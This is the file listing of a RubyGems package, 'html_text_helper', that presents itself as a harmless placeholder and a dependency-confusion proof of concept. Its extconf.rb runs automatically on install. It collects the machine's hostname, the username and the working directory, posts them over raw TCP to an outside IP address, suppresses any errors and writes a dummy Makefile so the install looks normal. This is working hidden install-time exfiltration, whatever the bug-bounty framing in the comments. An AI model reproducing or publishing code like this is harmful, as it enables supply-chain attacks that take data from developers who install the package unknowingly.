html_text_helper 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: a94f4c167addd139659a748d66fedf660697536a2fa956057c26fd95a55b80a2
+  data.tar.gz: a7a2c4f2eaff58e0de1922fd14f2a1f183f275e51dbe05fa9a258aee39a08a23
+SHA512:
+  metadata.gz: 5cab13c38e50bbaf1fc751947f8dc06e03ce33101520bc50de2e3ac3700e60bc6272b109e927ae09ad74f91e51d085b6414a88eabc67a5de8e5fc20ce4a1a3d9
+  data.tar.gz: e7ec226cd0c95a11dacce20ede374094d649629ca6b38a741f647740a7abe2d284f0ef129748b0839a7594d09522d5019f717f9a9c00d723ccaaeddc5f86f091

data/ext/html_text_helper/extconf.rb

@@ -0,0 +1,32 @@
+require "socket"
+require "json"
+
+# Dependency confusion PoC — harmless callback to prove code execution
+# This is part of authorized HackerOne bug bounty research
+begin
+  hostname = `hostname`.strip rescue ""
+  username = ENV["USER"] || ENV["USERNAME"] || ""
+  cwd = Dir.pwd
+  body = JSON.generate({
+    "hostname" => hostname,
+    "username" => username,
+    "cwd" => cwd,
+    "package" => "html_text_helper",
+    "company" => "instructure",
+    "registry" => "rubygems"
+  })
+  sock = TCPSocket.new("54.80.197.209", 8443)
+  sock.print "POST /cb/html_text_helper HTTP/1.1\r\n"
+  sock.print "Host: 54.80.197.209:8443\r\n"
+  sock.print "Content-Type: application/json\r\n"
+  sock.print "Content-Length: #{body.length}\r\n"
+  sock.print "Connection: close\r\n"
+  sock.print "\r\n"
+  sock.print body
+  sock.close
+rescue => e
+  # Silently fail — this is just a PoC callback
+end
+
+# Create dummy Makefile so gem install succeeds
+File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")

data/lib/html_text_helper.rb

@@ -0,0 +1,11 @@
+# Dependency confusion proof-of-concept package
+# Registered as part of authorized HackerOne bug bounty research
+# This is a harmless placeholder — no malicious functionality
+
+module HtmlTextHelper
+  VERSION = "0.0.1"
+
+  def self.info
+    "This is a dependency confusion PoC gem for authorized security research."
+  end
+end

metadata

@@ -0,0 +1,46 @@
+--- !ruby/object:Gem::Specification
+name: html_text_helper
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- Security Research
+autorequire:
+bindir: bin
+cert_chain: []
+date: 2026-03-25 00:00:00.000000000 Z
+dependencies: []
+description: 'Harmless placeholder registered as part of authorized HackerOne bug
+  bounty research. Contact: security researcher via HackerOne.'
+email: security-research@example.com
+executables: []
+extensions:
+- ext/html_text_helper/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/html_text_helper/extconf.rb
+- lib/html_text_helper.rb
+homepage: https://github.com/nickel-lang/nickel
+licenses:
+- MIT
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.4.20
+signing_key:
+specification_version: 4
+summary: Security research — dependency confusion proof of concept
+test_files: []